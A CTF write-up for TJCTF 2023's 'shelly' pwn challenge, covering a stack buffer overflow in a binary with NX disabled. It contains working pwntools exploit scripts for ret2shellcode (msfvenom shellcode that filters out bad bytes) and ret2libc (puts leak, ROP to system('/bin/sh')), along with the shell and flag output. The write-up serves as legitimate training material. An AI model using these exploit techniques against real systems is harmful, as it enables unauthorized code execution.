---
description: >-
  sally sells seashells by the seashore sally sells seashells by the seashore
  sally sells seashells by the seashore sally sells seashells by the seashore
  sally sells seashells by the seashore
---

# TJCTF 2023: shelly

## TL;DR

> Classic _ret2shellcode_ with bad bytes. Alternatively, with NX disabled, it is also possible to Bring Your Own ROP gadget to perform _ret2libc_ attack.

## Basic File Checks

At first glance, running the binary returns an unknown address that randomizes on each execution.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly                                   
0x7ffcdb8739e0
test
ok

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly   
0x7fffa170a2b0
test
ok
```

Further enumeration shows that NX is disabled, meaning we can inject any arbitrary shellcode.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=shelly
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

## Static Code Analysis

Turns out, the address returned is the address of buffer `local_108` allocated on runtime. This is an obvious _ret2shellcode_ attack simply due to 3 conditions:

1. **NX Disabled:** Our input stored in the **.data** section is marked as an executable region. This allows us to jump to the custom shellcode stored on the stack or in a global variable.
2. **Address of Buffer:** The base address of our input/buffer is a known value, which allows us to overwrite the Instruction Pointer with it. &#x20;
3. **Buffer Overflow:** `fgets` takes in 512 (0x200) characters from stdin, which overflows the buffer\[256], meaning an attacker can control the execution flow of the program via the EIP.

The twists here is that, before executing the shellcode on the buffer, it will check for 2 specific bad bytes: `\x0f` & `\x05` and exit immediately if they are present.

```c
undefined8 main(void)

{
  char local_108 [256];
  
  setbuf(stdout,(char *)0x0);
  printf("0x%lx\n",local_108);
  fgets(local_108,0x200,stdin);
  i = 0;
  while( true ) {
    if ((0x1fe < i) || (local_108[i] == '\0')) {
      puts("ok");
      return 0;
    }
    if ((local_108[i] == '\x0f') && (local_108[i + 1] == '\x05')) break;
    i = i + 1;
  }
  puts("nonono");
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

## Finding Offset

Using _de Brujin Sequence_ and _pwndbg_ to locate the offset.

```
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

pwndbg> run
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x7fffffffdca0
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
ok

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401256 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdeb8 —▸ 0x7fffffffe202 ◂— '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
*RCX  0x7ffff7ec30e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x1
*RDI  0x7ffff7f9fa10 (_IO_stdfile_1_lock) ◂— 0x0
*RSI  0x1
*R8   0x4053cd ◂— 0x0
*R9   0x21001
*R10  0x7ffff7dd4fd8 ◂— 0x10002200006647 /* 'Gf' */
*R11  0x202
 R12  0x0
*R13  0x7fffffffdec8 —▸ 0x7fffffffe236 ◂— 'COLORFGBG=15;0'
*R14  0x403df0 —▸ 0x401130 ◂— endbr64 
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6261616161616168 ('haaaaaab')
*RSP  0x7fffffffdda8 ◂— 'iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
*RIP  0x401256 (main+240) ◂— ret 

pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
```

## Generating Shellcode

&#x20;Using _msfvenom_, we can specify these bad bytes to exclude them from our shellcode.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ msfvenom -p linux/x64/exec CMD="cat flag.txt" -b '\x0f\x05' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=47, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor failed with Encoding failed due to a bad character (index=12, char=0x05)
Attempting to encode payload with 1 iterations of x64/xor_context
x64/xor_context failed with Encoding failed due to a bad character (index=7, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 99 (iteration=0)
x64/xor_dynamic chosen with final size 99
Payload size: 99 bytes
Final size of python file: 506 bytes
buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xab\xfc\xae\x75\xfd\x57"
buf += b"\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff"
buf += b"\xc6\x66\x81\x3f\xb7\x08\x74\x07\x80\x3e\xab\x75"
buf += b"\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x01\xab"
buf += b"\x49\xb9\x2e\x63\x68\x6f\x2e\x72\x69\x01\x98\x51"
buf += b"\x55\x5e\x53\x67\x69\x2c\x62\x55\x5f\x53\xe9\x0c"
buf += b"\x01\x01\x01\x62\x60\x75\x21\x67\x6d\x60\x66\x2f"
buf += b"\x75\x79\x75\x01\x57\x56\x55\x5f\x6b\x3a\x59\x0e"
buf += b"\x04\xb7\x08"
```

## ret2shellcode

With everything set, overflow the buffer to divert execution flow so that it points to the start of our buffer and execute the injected shellcode.

{% code title="solve.py" %}
```python
#!/usr/bin/python3

from pwn import *
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)
context(os='linux', arch='amd64')

elf = ELF('./shelly')
rop = ROP(elf)

local = False

if(local == True):
    p = elf.process()
else:
    p = remote('tjc.tf', 31365)

ret = (rop.find_gadget(['ret']))[0]

stack_leak = int(p.recvline().strip().ljust(8,b'\x00'),16)
print(hex(stack_leak))

# msfvenom -p linux/x64/exec CMD="cat flag.txt" -b '\x0f\x05' -f python

buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xab\xfc\xae\x75\xfd\x57"
buf += b"\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff"
buf += b"\xc6\x66\x81\x3f\xb7\x08\x74\x07\x80\x3e\xab\x75"
buf += b"\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x01\xab"
buf += b"\x49\xb9\x2e\x63\x68\x6f\x2e\x72\x69\x01\x98\x51"
buf += b"\x55\x5e\x53\x67\x69\x2c\x62\x55\x5f\x53\xe9\x0c"
buf += b"\x01\x01\x01\x62\x60\x75\x21\x67\x6d\x60\x66\x2f"
buf += b"\x75\x79\x75\x01\x57\x56\x55\x5f\x6b\x3a\x59\x0e"
buf += b"\x04\xb7\x08"

JUNK = (264 - len(buf)) * b"A"

payload = buf + JUNK + p64(ret) + p64(stack_leak)

p.sendline(payload)

p.interactive()
```
{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[+] Opening connection to tjc.tf on port 31365: Done
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
0x7ffe127bc050
[*] Switching to interactive mode
ok
tjctf{s4lly_s3lls_s34sh3lls_50973fce}
```

## Alternative: ret2libc

Another clever solution is to ROP around the limitations of bad bytes in our shellcode, which leads to a _ret2libc_ attack. However, this attack would be harder without the `pop rdi` gadget.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ropgadget shelly | grep "pop"
0x000000000040114b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401146 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x000000000040114d : pop rbp ; ret
```

Since NX is disabled, we can Bring Our Own Gadget to make up for the lack of gadgets.

```python
shellcode = asm("pop rdi ; ret")
```

Just like a classic _ret2libc_ attack, we will exploit the buffer overflow vulnerability once to leak `puts` address, then ROP a second time to pop a shell. The first ROP chain looks something like this:&#x20;

1. Inject `pop rdi` gadget to the start of buffer.
2. Fill remaining space with junk, so that it fills up the entire 264 buffer.
3. Point EIP to the base address of the buffer to empty out the `rdi` register.
4. Supply the argument for `puts`.
5. Invoke `puts` function to leak `puts` address.
6. Return to main for second ROP chain.

```python
payload = shellcode
payload += (offset- len(shellcode)) * b"A"
payload += p64(stack_leak) # <--- EIP
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)
```

For the exploit to work remotely, we need to find out the LIBC version of the remote server.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FDsNsOreiAN82eU5I1zFR%2Fimage.png?alt=media&#x26;token=98c81ab0-6595-4e68-830b-3d6e75796b00" alt=""><figcaption></figcaption></figure>

Download and update the correct LIBC library, and perform a second ROP chain to pop a shell.

```python
libc = ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec = False)
rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * offset,
    pop_rdi,
    bin_sh,
    ret,
    system
)
```

For some reason, explicit declaration of the binary architecture and context is required in this challenge for the solution to work properly. It came as a surprise because _pwntools_ usually deals with it for us automatically.

{% code title="ret2libc.py" %}
```python
#!/usr/bin/python3

from pwn import *
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)
context(os='linux', arch='amd64')

elf = ELF('./shelly')
rop = ROP(elf)

local = False

if(local == True):
    p = elf.process()
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
    p = remote('tjc.tf', 31365)
    libc = ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec = False)

offset = 264

stack_leak = int(p.recvline().strip().ljust(8, b'\x00'), 16)
print(f"{hex(stack_leak)=}")

shellcode = """
pop rdi ; ret
"""

shellcode = asm(shellcode)

payload = shellcode
payload += (offset- len(shellcode)) * b"A"
payload += p64(stack_leak)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

p.sendline(payload)

p.recvline()
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"{hex(puts_addr)=}")

libc_base_address = puts_addr - libc.symbols['puts']

p.recvline() # ignore the address of newly initialized buffer 
p.recvline() # because we are jumping back to main

rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * offset,
    pop_rdi,
    bin_sh,
    ret,
    system
)

p.sendline(payload)

p.interactive()
```
{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ./ret2libc.py
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
[+] Opening connection to tjc.tf on port 31365: Done
hex(stack_leak)='0x7fff42137830'
hex(puts_addr)='0x7f4b5e987ed0'
[*] Loaded 218 cached gadgets for './libc6_2.35-0ubuntu3_amd64.so'
[*] Switching to interactive mode
ok
$ ls
flag.txt
run
$ cat flag.txt
tjctf{s4lly_s3lls_s34sh3lls_50973fce}
```

**Flag:** tjctf{s4lly\_s3lls\_s34sh3lls\_50973fce}
